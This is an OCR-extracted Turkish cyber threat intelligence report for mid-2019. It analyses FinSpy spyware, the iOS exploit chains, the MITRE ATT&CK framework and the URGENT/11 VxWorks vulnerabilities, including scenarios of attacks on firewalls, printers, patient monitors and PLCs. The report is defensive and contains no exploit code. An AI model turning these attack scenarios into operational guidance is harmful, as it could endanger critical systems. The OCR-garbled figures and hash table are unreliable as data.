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STM Teknolojik Diisiince Merkezi

SORUMSUZLUK VE FIKRI MULKIYET HAKKI BEYANI

isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan iceriklerdir. Bu eser/
internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina yonelik degildir. STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Ucunci kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tliri sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlii hakki STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda higbir Sekilde
yayimlanamaz, ¢ogaltilamaz, igslenemez.
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Agirlikh olarak sahte uygulamalardan olusan yeni saldi-
n trendleriyle yilin ikinci ceyregini tamamladik. Ucilinci
ceyrekte ise APT varyanti zararli uygulamalar ile yeni
kesfedilen zafiyetlerin 6n plana c¢iktigini séyleyebiliriz.
Bu ceyrekte saldir-zafiyet agirlik dengesinin son kulla-
nicilar ile kritik sistemler arasinda dagildigini ve siber fa-
aliyetlerin politik cercevede de daha belirgin hale geldi-
gini degerlendirmekteyiz. Bu dénem raporumuzda APT
varyantl ve zararli sahte uygulamalar, yeni kesfedilen
zafiyetleri, toplumsal olaylarda yer alan siber faaliyetleri,
teknolojik gelismelerle hayatimiza yansiyan siber tehdit-
leri ve saldiri trendlerinden segtigimiz zararl yaziim ana-
lizlerini bulabilirsiniz.

Kisisel verilerin korunmasi konularindaki gelismeler veri
sizintilan ile giindeme gelen yaptirmlar ile finansal ve
marka deg@erlerindeki kayiplarin yani sira hazirlanan ted-
bir calismalarn ile glindemdeki yerini koruyor. Bu alan-
da koruma ve degerlendirme rehberi olarak gorilen
Kisisel Verileri Koruma Kanunu (KVKK) ve General Data
Protection Regulation (GDPR) uygulamalarina ek olarak
bilgi ve iletisim glvenligine dair genelge ve kararnameler
de hazirlanmaktadir. Bununla birlikte birgcok Ulkenin ulu-
sal bilgi ve iletisim glvenligini korumak igin kendi usul ve
esaslarindan olusturdugu tedbir listesi ve aksiyon reh-
beri oldugu bilinmektedir. Bu anlamda utlkemizdeki res-
mi rehber 06 Temmuz 2019’da Cumhurbagkanlidi Dijital
Donustum Ofisi’nin katkilaryla hazirlanan ve 2019/12 sa-
yil Cumhurbagkanh@i kararnamesi ile yayinlanan “Bilgi
ve lletisim giivenligi Tedbirlileri” genelgesidir. Genelge;
bilginin dijital ortama taginmasi, erisimin kolaylastiriima-
sl, altyapilarin glincellenmesi ve kullanimin yayginlastiril-
masi ile glindeme gelen guvenlik risklerinin azaltiimasi ve
kritik verilerin glvenliginin saglanmasi konularinda alin-
masi gereken tedbirleri 21 uygulama maddesi ile ele al-
makta ve bu tedbirlerin uygulanma esaslarini agiklamak-
tadir. Yakin gelecekte glindemi daha fazla isgal edecek
konulardan biri olan kisisel verilerin korunmasi konusun-
daki incelemeleri bu dénem raporumuzda bulabilirsiniz.

Gunlik yasam iginde, ihtiyaclarin gogunun sanal ortam
Uzerinden karsilanabilmesiyle birlikte neredeyse vazge-
¢ilmez hale gelen mobil cihazlarin kullanici kitlesi giin-
den gine artmaktadir. Bu artisla dogru orantili olarak
gectigimiz Gc yillik srecte zararh yazilimlarin agirlikli ola-
rak mobil kullanicilari hedef aldigini sdylemek mimkdin.
Mobil cihazlarda bilgisayarlara nazaran daha fazla erisim
ve hassas bilgilerin bulunmasi, mobil platformlarin hedef
olarak secilmesinin nedenlerinden biridir. Bu dénem ra-
porumuzda siber tehdit istihbarati calismalari kapsamin-
da FinSpy isimli zararli yazilimi inceledik. 2011 yilinda
Alman menseli olarak ortaya ¢ikan zararlinin Temmuz
2019’da yeni surimine dair izler elde edildi. Tespit edi-
len izler ile RAT (Remote Access Trojan) kategorisinde
olan zararlinin APT gruplari ile baglantisi olup olmadig
akillarda soru isareti olusturuyor. Bu tarz saldirilar icin
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kullanilabilecek siber istihbarat analizi calismalarinda
kullanilacak rehberlerden biri olan MITRE ATT&CK cer-
cevesine ait incelemeyi siber tehdit istinbarati bélimun-
de bulabilirsiniz.

Mobil alandaki tehditler FinSpy ile sinirli degil, uygula-
ma magazasindaki sahte uygulamalar bu dénemde de
mobil kullanicilari tehdit etmeye devam etti. Tirk bitcoin
mobil borsa uygulamasini kopyalayarak yayilan zararl
yazihmin kullanici hesaplarini ele gecirdigi tespit edildi.
COrijinaline cok benzeyen sahte uygulama iki faktorll
dogrulama metotlarini da simule ettigi icin givenli bir
uygulama izlenimi veriyor. Borsa uygulamasindan ayri
olarak Joker isimli Android zararl yazihminin da uygu-
lama magazasinda 10 farkll varyanti oldugu ve kullanici
bilgilerini ele gecirmeyi hedefledigi tespit edildi. Her iki
uygulamanin zararli yazilm analizi STM muihendislerin-
ce yapildi, bu analizleri zararl yazilim analizi bélimtnde
bulabilirsiniz.

Zararli ve sahte uygulamalarin diginda Iphone kullanici-
larini iki yili agkin bir siiredir etkiledigi ortaya ¢ikan 14 za-
fiyetin kesfedilmesinin ardindan kullanici bilgilerinin siz-
dinldigr giindeme geldi. Buna ek olarak bir¢ok Android
uygulamasinda kullanilan “WebView” bileseninin ag ile
tarayicilar arasindaki farkliliklar nedeniyle kritik zafiyet-
lere neden oldugu tespit edildi. Bireysel ve profesyonel
kullanicilarin siklikla kullandigi sanallastirma platformla-
rindan biri olan VirtualBox platformunda “race conditi-
on” hatasindan kaynaklanan ve CVE-2018-2844 olarak
bilinen zafiyetten dolayi ilgili sanallagtirma platformuna
ydnelik risk, kullanicilar i¢in soru isareti olusturuyor.

Son ¢ aylik dénem icinde dnceki ddnemlerdeki zafiyet-
lerden farkli olarak gergek zamanli isletim sistemlerinde
(Real Time Operating System - RTOS) 11 adet kritik za-
fiyet kesfedildi. RTOS ¢ézimlerinin agirhkl olarak; kritik
altyapilar, tibbi cihazlar ve endistriyel kontrol sistemleri
(EKS) gibi yUksek dogruluk gerektiren yapilarda kulla-
nildigi g6z 6niinde bulunduruldugunda, kesfedilen zafi-
yetlerin genis bir kitleyi etkileyebilecegi degerlendiriliyor.
Urgent/11 olarak tanimlanan RTOS zafiyet dizisi disinda
EKS’leri etkileyen bir bagka zafiyet daha kesfedildi. CVE-
2019-9569 olarak tanimlanan zafiyetin bellek tasma-
sI (Buffer Overflow) oldugu ve saldirganlarin bu zafiyet
ile kritik sistemleri kontrol edebildigi ortaya c¢iktl. Gerek
kritik sistemlerde bu tarz zafiyetlerin olusmasi gerekse
kuantum bilgisayarlarin islem glcinUn saldiri potansiye-
li ve mevcut sifreleme algoritmalarinin kuantum bilgisa-
yarlar karsisindaki durusu, siber givenliligin gelecekteki
egilimi yoninde dnemli etkenler olarak degerlendiriliyor.

Teknolojik gelismeler, akilli sistemleri hayatin bircok gerek-
sinimiyle buttnlestirmis durumda. Gunlik ihtiyacglanmiz-
dan profesyonel gérevlere kadar birgok isi ve gereksinimi
karsilamamiza yardimci olan bu sistemler ayni zamanda
saldirganlarin atak yizeyini genisletiyor. Gunimizdeki
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bircok akilli ev sisteminin ve akilli cihazin icerdigi zafiyetler
yuziinden koordineli bir saldin sonucunda yasam kalite-
sinin olumsuz yénde etkilenebilecegini, hatta saglk so-
runlarina bile yol acabilecegini biliyor muydunuz? Ornegin
bircok bilgisayar, telefon, televizyon ve ses sisteminde
akilli hoparlér sistemleri var. Goéreceli olarak daha ucuza
alinabilen bu Uriinleri sokakta isportacilarda bile bulabili-
yoruz. Gegtigimiz guinlerde akilli hoparlor kategorisindeki
arinlerin manipule edilmesiyle akustik bir saldir gercek-
lestirilebilecegi kesfedildi. Bu tur akustik saldirlarin insan-
larda g6z atma gibi basit fiziksel reaksiyonlara yol acabi-
lecegi gibi, ses boyutuna gore isitme kaybi veya psikolojik
rahatsizlik olusturabilecegi ortaya cikti. Ote yandan akilli
hoparldrlere ve daha bircok cihaza entegre olarak gelen
bluetooth teknolojisinde kesfedilen bir diger zafiyet, blu-
etooth cihazlarinin yer takibine imkan saglamakta. izinsiz
yer tespiti kisisel verilerin mahremiyeti kapsaminda ihlal
olarak kabul edildigi icin, olasi diger tehlikeli senaryolarin
gerceklesmesi gibi durumlar g6z éninde bulunduruldu-
dunda s6z konusu zafiyetin risk seviyesinin yiksek oldu-
gu degerlendirilmekte.

Akill sistemlerin vazgecilmez bir pargasi olan Nesnelerin
interneti (Internet of Things - loT) sistemleri temelde,
zayif guvenlik dnlemleriyle gelistirildikleri i¢in birgok
saldinya kargi savunmasiz olabilmektedir. Ginimizde
glvenlik arastirmacilarinin yaptigi arastirma ve analizler
ile loT sistemlerinin glvenlik seviyelerinin iyilestirdigine
sahit oluyoruz. Fakat mevcut IoT givenlik seviyesinde
guncellenmeyen sistemlerin halen bircok saldirya kar-
sl savunmasiz durumda oldugu degerlendiriimektedir.
Sdyle ki, yakin zamanda yapilan bir arastirmada 16 mil-
yon hanede bulunan 83 milyon loT cihazinin yizde 20
ila 50 oraninda erigsim zafiyeti barindirdigi ortaya cikti.
Ornegin gectigimiz aylarda ABD ve Avrupa’daki benzin
istasyonlarinda dijital/akill 6deme sistemleri ve POS
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cihazlarindaki zafiyeti kullanan yeni bir dolandircilik yén-
temi tespit edildi. Saldirganlarin 6deme sistemlerine blu-
etooth tabanli “skimmer” isimli donanimi ekleyerek mis-
teri bilgilerini kopyalayabildigi ortaya ¢ikti. Bu donanimin
kolayca temin edilebilmesi ve sistemlere fark ediimeden
entegre edilebilmesi bu saldir tiriinin yayginlasmasina
neden olurken, cihazlardaki modifikasyonu manuel ola-
rak takip etme zorlugu, durumun kontrol altina alinma-
sini glglestiriyor. Saldirlarda kullanilan skimmer isimli
cihazin bluetooth (zerinden haberlesmesinin ise dijital
tespit konusunda fayda sagladigi kesfedildi. Bluetooth
tabanli skimmer cihaz tespitine dair detaylari raporumu-
zun devaminda bulabilirsiniz.

Bir bagka gelisme olarak ginimuzde islevselligi ve gu-
venligi siklikla irdelenen akilli araglar ile siriict yardim
sistemlerinin makine 6grenmesi ydntemleri ile aldatila-
bilecegdi tespit edildi. Arag Gzerindeki sensérlerin yaniltil-
masilyla otomatik stirlis modunda hiz sinirinin oldugun-
dan daha yliksek gosterilebilecegi ve otomatik strisin
manipule edilen hiz sinirina gére seyre devam edebilece-
gi test ortaminda kanitlandi. Bu tarz uygulamalarin farkli
yontemlerle manipile edilmesinin sonuclarinin kritik ola-
cagi deg@erlendirilmekte olup ¢6zim Onerileri teknolojik
gelismeler bdlimundeki analizimizde ele alinmaktadir.

“Bilgi ve iletisim Guvenligi” tedbirlerini igeren 2019/12
saylll Cumhurbagkanliyi Genelgesi 06.07.2019 tarihli
ve 30823 sayill Resmi Gazetede yayimlanarak yurGrlQ-
Je girmistir. Bu dénem raporumuzda, “Bilgi ve iletisim
Guvenligi Tedbirleri” genelgesinde de ele alinan Kritik
Bilgiler, Kisisel Verilerin glvenligi ve STM olarak Uze-
rinde galistigimiz kisisel verilerin mahremiyeti alaninda-
ki gelismeleri de inceledik. Bu dénemin konusu olarak
hazirladigimiz, “Kisisel Verilerin Din0, Buglni, Yarni”
isimli makalemizi “Dénem inceleme Konusu” baslig al-
tinda bulabilirsiniz.
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Bu kisimda STM Siber Flizyon Merkezimizdeki analist-
ler tarafindan yapilan mevcut ve 6éngérulen siber saldiri,
zararll yazihm ve sifirinci gin agikliklarina yénelik tehdit
analizlerinin sonugclari veriimektedir.

1. FinSpy (FinFisher) TEHDIT ANALizi

1.1. Ozet

FinSpy, Alman BT firmasi Gamma Group tarafindan
gelistiriimis bir casus yaziimdir ve agirlikli olarak mobil
cihazlari hedef almaktadir. Hem IOS hem de Android ci-
hazlara yUklenebilir ve saldirganin ilgili cihaz tzerindeki
verileri tamamen kontroll altina almasini saglar. Sesli
aramalari ve anlik mesajlari kaydedebilir. FinSpy casus
yazilimina ilk olarak 2011 yilinda rastlanmigtir.

FinSpy gelistiricileri zararli yazihm gincellestirmeleri
Uzerinde sUrekli calismaktadir. Temmuz 2019°da FinSpy
zararl yaziiminin yeni bir sriminin ciktigina dair izlere
ve yaklasik 20 Ulkede de zararl yazilimin gtncellenmis
sirimune rastlandi.

Bu iddialarin kékeninde Derinlemesine Paket inceleme
(Deep Packet Inspection-DPI) teknolojisin kullanildig
soyleniyor. Kullanilan teknolojinin, ag ekipmani sirketi
Sandvine tarafindan gelistirildigi belirtimekte. Bununla
birlikte Sandvine tarafindan etik digi davraniglarla ilgili
herhangi bir baglanti ret edildi ve arastirmanin sonuclari-
nin yanlhs oldudu iddia edildi.

1.2. Teknik inceleme
Zararh Yazihm Tiri: Casus Yazilm

Zararl yazilm telefona oltalama (phishing) ataklan so-
nucunda girebilir. Android cihazlarin root edilmesi riski
artinr. Root edilmemis oldugu durumda da DirtyCow
programiyla root erisimi kazanabilir.

IOS cihazlar igin jailbreak yapilmasi gereklidir. 10S
implanti btln cihaz aktivitelerini WhatsApp ve Skype
gibi uygulamalarla gériintileyebilme 6zelligine sahiptir.
Android implanti givenlik agiklarnni kéttye kullanarak
root yetkinliklerine sahip olabilir. Kullaniciya ait bitin
medya dosyalari degistirilebilir.

FinSpy implanti, FinSpy Agent protokol tarafindan kont-
rol edilir. Bltin implantlar Gamma Group proxylerine
baghdir ve bdylece FinsSpy operatorlerinin konumlari
saklanmis olur.

Bircok analiz ve raporda FinSpy implantinin TUrkiye,
Misir ve Suriye gibi Ulkelerde kdtli amaglh yazihm sunmak
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icin ulusal dlgekteki trafikte degisiklikler yaparak trafigi
yeniden yoénlendirdigi iddia ediliyor. Bu islem igin orta-
daki adam donanimlarinin kullanildigi tahmin ediliyor.
Arastirmalar Download.com’dan Ureticilerin resmi uygu-
lamalarini indirmeye ¢alisan kullanicilarin yazihmin zararl
strimlerine ydnlendirildigini éne sirtyor. Bu uygulama-
lardan bazilari asagida belirtilmistir:

Avast Antivirus
7-Zip

Opera
CCleaner

1.3. Tavsiye

Kullanicilar, donanima gémulu yaziimlarin (firmware) ve
Uclni taraf yazilimlarin (software) giincellemelerini za-
maninda yaparak potansiyel saldirlari énleyebilirler.

1.4. Tehlike Gostergeleri (10C)

Sira No Zafiyet

1 CVE-2017-8759
Tablo 1: [oC’ler.

Sira No Ozet Bilgileri (Hash)

1 83a1829bb596c314281037{71b9063a51da40093
99e4dfbcaf99809b0121d9ac08aeccfd2ad92baf

c41eb2956b3484f56609566050b3bca7fec41d02
d4a9b6c9a2561710b4fed42f4b4d7555e7916dbd

a A~ W DN

de908e09f6053558945d463407cea2085a594f97

Tablo 2: Ozet bilgileri.

2. IPHONE CIHAZLARA YONELIK ELE
GECIRME SALDIRISI

Bir Iphone cihaziniz oldugunu ve cihazinizin bilgisayar
korsanlarina gergcek zamanl konum bilginizi, tim e-pos-
ta yazigmalarinizi, sohbetlerinizi, kisilerinizi ve fotografla-
rinizi génderebildigini hayal edin. Arastirmacilara gore iki
yildan fazla bir slire boyunca binlerce Iphone kullanicisi
bu olaydan etkilendi. Gectigimiz haftalarda 14 tane 10S
glvenlik acigi yayinladi. Yayinlanan glvenlik acgiklarinin
yaklasik olarak son 2 yildir eski iPhone modelleri de dahil
olmak Uzere birgok Apple mobil cihaz etkiledigi aciklan-
di. Bulunan aciklardan 7 tanesi Safari Uzerinde yer alir-
ken, cekirdek (kernel) lizerinde 5 tanesi ve kalanlarin da
I0S’in gesitli kapali ortamlarinda yer aldidi belirtildi ™.

SIBER TEHDIT DURUM RAPORU
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Saldirganlar ilk asamada haftalik binlerce kullanicisi bu-
lunan internet sitesini ele gecirir. Sonrasinda bu siteleri
ziyaret eden bir iPhone kullanicisinin hi¢ haberi olmadan
telefonuna erisip WhatsApp gibi glvenli mesajlasma
platformu verileri de dahil olmak Uzere bircok gizli ve-
riye erisim saglayabilmektedir (Watering Hole saldirisi).
IOS kapal bir igletim sistemi oldugu i¢in arkada calisan
zararli bir islem kullanici tarafindan takip edilememekte-
dir. Bu yUzden saldirganlar kendilerini gizlemeye ihtiyac
duymamiglardir.

<chain &
Har4212

chain ¥ £hain 2 £hain 3 £hain &
0011011 1011033 10114 120421
x ' v ,
P —
L i
Te —
T S —
se ——=
o —
6 —
55 i
13 Sept 2006 12 Owc 2008 aT M 30VT 1% Semt 11T ¥ Juby 2HHE 1T Sewd 3078 3 Dwx 2018
! i T T3 han 014
I hoof KOS 10 lapnch of iPhone 88+ Annoancem ent of IPhane
aonson X (A1) and i0S 11 Aenks, launch of 0% 12

Sekil 1: WhatsApp Uygulamasi Veri Sizintit".

Guvenlik aciklari, aktif glincelleme alan bitin 10S si-
rimleri icin kullanilabilmektedir. Project Zero’nun yaptigi
aciklamada 5 adet exploit (sémirl) zinciri ile 14 glven-
lik acigi kullanilarak sistem Uzerinde en yiliksek hakka
sahip kullanici seviyesine (root) yikselmek muimkin
olmaktadir.

Sekil 1’de gorilen zincirler, I0S 10.0.1 striminden 10S
12.1 strimUne kadar kullanilabilen 5 adet farkli exploit’i
gbstermektedir.

Birinci zincirde, Safari lizerinden dogrudan cekirdek
seviyesinde bulunan bir giivenlik acigi kullanilmakta-
dir. Bu zincir 10S 10.0.1-10.1.1 sUrimleri arasindaki
cihazlan etkilemektedir.

ikinci zincirde, 10S iginde yer alan IOSurface (pro-
cessler arasi iletisim) kutlphanesinde yer alan gu-
venlik agidi kullanilmigtir. Bu guvenlik acigi I0S 11.2
ile kapatiimigtir.

Uglincu zincirde, 10S iginde yer alan I0Free kiitiip-
hanesinde bulunan giivenlik agigi kullaniimistir. 10S
11.0-11.4.1 sUrtmleri arasindaki cihazlar etkilemigtir.

Dordiinci zincirde, 10S iginde galisan cfprefsd servi-
sinde bulunan guvenlik acigr kullaniimistir. 10S 12.0-
12.1 slrUmleri arasindaki cihazlan etkilemistir. 10S
12.1.4 strimde bu glvenlik agigi kapatiimistir.

Besinci zincirde, dérdlincl zincirdeki serviste yer alan
benzer bir glivenlik acigi kullaniimigtir. I0S 12.1.3 si-
rima ile bu glvenlik acigi da kapatilmigtir.

Kullanilan bu zincirler ile igletim sistemi icinde ¢aligtirilan
kiicUk bir yazilim (implant) ile iMessage mesajlari, GPS
verileri, WhatsApp mesaijlan (Sekil 2 ve 3), fotograflar
gibi kritik bilgiler belli bir zaman araliginda uzak bir sunu-
cuya gdénderilmektedir. Telefon kapatildiginda sistemde
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iz birakmadan kaybolan zararl islem, tekrar ele gegiril-
mis internet sitesi ziyaret edildiginde telefon Uzerinde
yeniden calismaya baglamaktadir. Apple’in glvenlik
igin kullandigi anahtar zinciri yapisini da ele gegirebilen
zararl iglem telefon Gzerindeki her tirllG veriye rahatca
ulasabilmektedir.

QWERT YU I OFP

AISIDIFIGHIJIKIL

5
# I X CVENMGSE

m @ G

Sekil 2: WhatsApp Uygulamasi Veri Sizintil™l.

Apple tarafindan yapilani agiklamada, saldirilarin iddia
edildigi gibi iki yildir degil, birka¢ aydir s6éz konusu ol-
dugunu sdylense de glvenlik aciginin iki yildir sistemde
barinmakta olmasi iddialar glglendirmektedir.

Contacte
conacts database fle uploaded by implant

B ¥

$ sqlited AddressBook.sqlitedn
Baxley sqliter select First, Organization from ASPerson;

- Bexley|

Burgwies Kitty|

Le Dezaley
F swiss Chucni
Fri Fondus Stusbl Raclette Stube
VNI POIUOS DU | |Raxlette Pactory
K Fribeurger Fondue Stuebli

. | |Burgwiss

ity

$011Ter SE1eCT CAGPNOME from ABPersonFullTextSearch content;
L 07848 795725

B7846 412085
Le Dezaley w41 a4 €1 €l 39
R +41 (@) &1 766 96 66

#41 (@) &4 251 41 39
»41 (8) 44 261 04 10
| ea1 (o) 48 241 90 76
s41 (@) 44 320 63 20

Raclelle Faclory

Raclette Stube

5

St Chiachi

J8

Sekil 3: 10S Rehber Bilgileri Sizintisil™.

Guvenlik agiklari, yayinlanan son 10S 12.1.4 surimd ile
kapatildi ancak saldirganlarin bu arada elde ettigi veri
miktari bilinmemektedir.

Sifirnci giin agikliklan kullanilarak tasarlanan bu saldi-
rilarin arkasinda Devlet Destekli Siber Su¢ drgitlerinin
olacagi degerlendiriimektedir. Daha 6nce farkl érnekle-
ri gorilen saldirilarda oldugu gibi bu saldirida da temel
amacin politik amagclarla belirli bir kitle veya insan grubu
hakkinda istihbarat toplamak olmasi, bunlarin bir ulus
devlet grubunun eseri olabilecegini disindirtmektedir.



thimnkktech

STM Teknolojik Diisiince Merkezi

A

3. PROFESYONELLER iCiN BiR CERCEVE:
MITRE ATT&CK

MITRE ATT&CK cergevesi (framework) bir saldirganin
yapabilecegi potansiyel saldirilarn gésteren, herhangi bir
hedefe nasil sizildigi, nasil ilerleme kaydedildigi konu-
sundaki taktik ve teknikleri iceren bir matristir. Bu fra-
mework, saldirganlarin davraniglarini sistematik olarak
kategorize etme ihtiyacindan dogmustur. Saldirganlar
geleneksel guvenlik ydntemlerini atlatabildikleri igin gu-
venlik uzmanlar mevcut savunma yaklasimlarini degis-
tirmek zorunda kalmiglardir.

Tespit ve Analiz, Tehdit istinbarati, Aktér Profilleme ve
Kirmizi Takimlar igin kullanici senaryolar barindiran atak
framework’l temelde iki seviye olarak nitelendirilmigtir.
PRE-ATT&CK ve Enterprise ATT&CK olarak ikiye ayrilan
framework ayni zamanda 6lUm zinciri metodolojisi Uize-
rinden de tanimlanabilmektedir.

Enterprise

T ATTRCK

Imitial Access
Exccution

PRE-ATT&CK
ikl S ol 98

llmOrms;td»;::;n«im Pap T
. Technical, People, Organizational Privilsge Escaludor
P Defende Evasion

‘Weaknass ientification |

i . Credential Access
- Technical, Pecpla, Organizational Discove
Scvarrsiy Opiss Latart Mcwsment
Establish & Maintain infrastructure Collaction

Persona Development
Build Capakilities
Test Capabilities
Stage Cagabilities

Exfiltration
Command and Control

Sekil 4: Olim zinciri metodolojisi ile MitreATT&CK yapisi.

Kesif ve Silahlanma kismina kadar olan iki basamak sal-
dirn 6ncesi olarak tanimlanmig ve bir saldirganin izleyebi-
lecegi potansiyel taktikler belirlenmistir. iletim, Sémurd,
Kontrol, Calistirma ve Aksiyon kisimlari ise Enterprise
ATT&CK seviyesi olarak belirlenmistir.

Taktik ve Tekniklerin disinda Saldirgan Profilleme ve
Tehdit istihbarati dretimi de Mitre ATT&CK framework’ii
ile yapilabilmektedir. STM Flzyon Merkezi tarafindan da
kullanilan bu yéntemle ¢ temel seviyede istihbarat Ure-
timi yapilmaktadir. Bu Ug¢ seviye konsept olarak;

Seviye 1: Kaynak arastirmasi icin derinlik analizi
yapllmasi,

Seviye 2: Taktik, teknik ve aktér profilleme sirecinin
gerceklestiriimesi,

Seviye 3: Att&ck Framework’u ile iligkilendirerek ra-
porlama yapilmasi.

TEMMUZ-EYLUL 2019

Ornek Senaryo: Bir ilag firmasiysaniz, APT19’un sek-
térundzu hedef alan bir grup oldugunu belirlemek icin
Arama cubugunda veya Gruplar sayfasinda arama
yapabilirsiniz.

pharmaceutical

erm found on page

FiN4 (ID: GOO85)

AFT19 (ID: GDOT73) (Assoc. Groups
Codoso, C0d0s00, Codoso Team,
Sunshop Group)

Turla (ID: GOO10) (Assoc. Groups:
Waterbug, WhiteBear, VENOMOUS
BEAR, Snake, Krypton)

Sekil 5: Basit bir arama sonucu.

Sekil 6: APT 19 Hakkinda sunulan bilgi.

Gruplar sayfasinda, APT 19’un kullandiklari tekniklere
bakmak igin sayfasini gériintileyebilir ve onlar hakkinda
daha fazla bilgi edinebilirsiniz. Kullanilan teknik hakkin-
da daha fazla bilgiye ihtiya¢ duyuyorsaniz, ATT&CK web
sitesinde detaylara erigebilirsiniz.

Sekil 7°'de APT 19’un kullandi§i tekniklerden biri
olan “Registry Run Keys/Startup Folder” teknigi
gosterilmektedir.

Sekil 7: APT19’un kullandigr tekniklere &rnekler.

Ozetle teknik sayfasindan daha detayli bir matrise eri-
sebilir ve asamalarini gorebilirsiniz. ATT&CK'i tehdit
istihbarati igin kullanmaya baglamanin kolay bir yolu,
onemsediginiz saldirn gruplarinin davranis vektorlerine
bakmaktir. Kullandiklar taktik ve teknikleri belirlemek,
guvenlik uzmanlarinin bu gruplar tespit etmesine yar-
dimci olur.

SIBER TEHDIT DURUM RAPORU
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Bu kisimda, klresel capta ses getiren siber saldi-
r vakalarina ait detaylar sebep-sonu¢ cercevesinde
incelenmektedir.

4. URGENT/11 ZAFIYET Dizisi

Gegtigimiz glinlerde, VxWorks isimli iki milyara yakin ci-
hazda kullanilan RTOS ¢dziminde ¢ok ciddi guvenlik
zafiyetleri tespit edildi. Kaliforniya merkezli WindRiver
isimli sirket tarafindan geligtirilen VxWorks, dinyada en
yaygin kullanilan gercek zamanli igletim sistemlerinden
biridir (RTOS). RTOS’lar kritik altyapi, ag donanimlari,
tibbi cihazlar, endistriyel sistemler ve hatta uzay aracglari
gibi yiksek dogruluk ve guvenilirik gerektiren cihazlar
tarafindan kullanilir. Bu nedenle VxWorks, PLC’lerden
MRI makinelerine, glvenlik duvarlarina ve yazicilara,
ucaklara, trenlere ve daha pek cok amaca hizmet etmek
icin kullanilir. Bu ¢6zUmUn kritik endustriyel altyapilar ve
medikal cihazlar gibi hayati 6nem tasiyan yerlerde de
kullaniimasi zafiyetin olusturdugu tehdidin bUyUuklGgina
gOzler 6nline seriyor.

Armis Lab tarafindan VxWorks Uzerinde kesfedilen za-
fiyetler dizisine URGENT/11 adi verilmistir. isminden de
anlasilacagi Uzere 11 adet zafiyetten olusan listenin igin-
den 6 tanesi kritik olarak siniflandiriimis ve bunlarin RCE
(Remote Code Execution) uzaktan kod c¢alistirma agigi
olusturabilecegi belirtilmistir. Cihazin agdaki konumuna
ve saldirganin konumuna bagh olarak (¢ saldiri senaryo-
su bulunmaktadir.

4.1. Senaryo 1- Ag Givenlik Cihazlarina
Saldin

Bu senaryo givenlik duvarlar gibi agin gevresine yerles-
tirilmis VxWorks cihazlarini etkiler. Bu cihazlar, dogrudan
internet’ten gelen saldirlara maruz kalmaktadir ve ko-
ruduklari i¢ agin butinligu bunlara emanet edildigi icin
son derece glvenli olacak sekilde tasarlanmistir. Urgent
/11 zafiyetini sémdiren bir saldirgan bu cihazlar Gizerinde
ve ardindan koruduklar aglar Gizerinde tam kontrol sahi-
bi olabilir.

v [ Ep
(EYy (L

/ VOIP phone patient monfior  MRI

Internet

Sekil 8: Senaryo-1 gorseli.
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Shodan arama motoruna gére Tirkiye’de 5000’den fazla
SonicWall givenlik duvari bulunuyor ve bunlar arasin-
da icinde VxWorks ’Un zafiyetli stirimlerinin de ¢alistigi
cihazlarin olma ihtimali tGlkemiz i¢in de ciddi bir tehdit
olusturuyor.

% Maps

i,'. SHODAN

% Exploty L=ea— | A Download Resuts | [P —
Mew Service: Kees ¢

5,785 * Document Moved &

SonleWALL - Authentication &

.

8 ey, e

~ Document Moved (&
D7 e izt .3

[

Sekil 9: Shodan SonicWall sonugclari.

4.2. Senaryo 2- Ag Giivenlik Cihazlarini
Atlayarak Ag Disindan Saldin

’ T R
~ & s
o (B~ — W
— NS §
Hacker (Hackad ‘Jq’ )
Internet Company

Sekil 10: Senaryo-2 gorseli.

Bu senaryo harici bir ag baglantisina sahip olan zafiyetli
VxWorks cihazini etkiler. URGENT/11 guvenlik agiklari,
agin cevresinde uygulanan herhangi bir glivenlik duvari
veya NAT ¢6zimi olmasina ragmen, saldirganlarin bu
aygitlan ele gegirmesini saglar.

Senaryoya 6rnek olarak, buluta bagli bir Xerox yazici-
ya glvenli bir ag Uzerinden yapilan saldirtyr distnin.
Yazici, bir bulut uygulamasina (bu 6rnekte Google
Cloud Printing gibi) baglandiginda hem givenlik du-
varl hem de NAT ¢ézUmleri tarafindan korundugu igin
dogrudan Internete maruz kalmaz. Saldirgan, yazicinin
bulutla olan TCP baglantisini (TLS’den bagimsiz olarak)
kesebilir ve yazici Gzerindeki URGENT/11 RCE gliven-
lik aciklarindan birini tetikleyerek tzerinde tam kontrol
sahibi olabilir.
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4.3. Senaryo 3- Agin icinden Saldini

Bu senaryoda, daha &nceki bir saldin sirasinda zaten
agda konumlanmis bir saldirgan, kullanici etkilesimi ge-
rekmeden cihaz Uzerinde tam kontrol sahibi olmak igin
hedeflenen VxWorks cihazina paketlerini génderebilir.

Ayrica, saldirganin hedeflenen cihazlarla ilgili herhangi
bir 6n bilgiye ihtiyaci yoktur, ¢linkii URGENT/11 k&tu ni-
yetli cihazlarini agda yayinlayarak onun tim savunmasiz
cihazlari bir kerede ihlal etmesine imkan verir.

Boyle bir saldiriya érnek olarak, yalnizca dahili ag bag-
lantisi olan bir hasta monitdriini diisinin. Cihazin inter-
nete baglantisi olmasa da aga sizarak bir saldirgan sis-
temi ele gegcirebilir. Hasta hakkinda verileri izinsiz alabilir,
hasta monitdrtine yanlis veri géndererek yanlis bir tedavi
uygulanmasina sebep olabilir.

Baska bir érnek olarak, fabrikalarda yaygin olarak kul-
lanilan (PLC’ler) verilebilir. Zafiyetten etkilenen VxWorks
Uzerinde calisan sistemler icin, URGENT/11 kullanan bir
saldirgan agda bir saldin gergeklestirebilir ve herhangi bir
kesif cabasi olmadan tim fabrika Gzerinde kontroll ele
alabilir. Saldirganin niyetine bagli olarak fidye isteyebilir ya
da sistemi kapatip fabrikaya maddi zararlar verebilir.

4.4, Etkilenen Sirimler ve Cihazlar

Zafiyetlerden VxWorks ’un son surimu etkilenmedi an-
cak TCP/IP yigini (IPnet) iceren VxWorks 6.5 ve Usti
sUrimlerinden yararlanan bagll cihazlar etkilendiler.
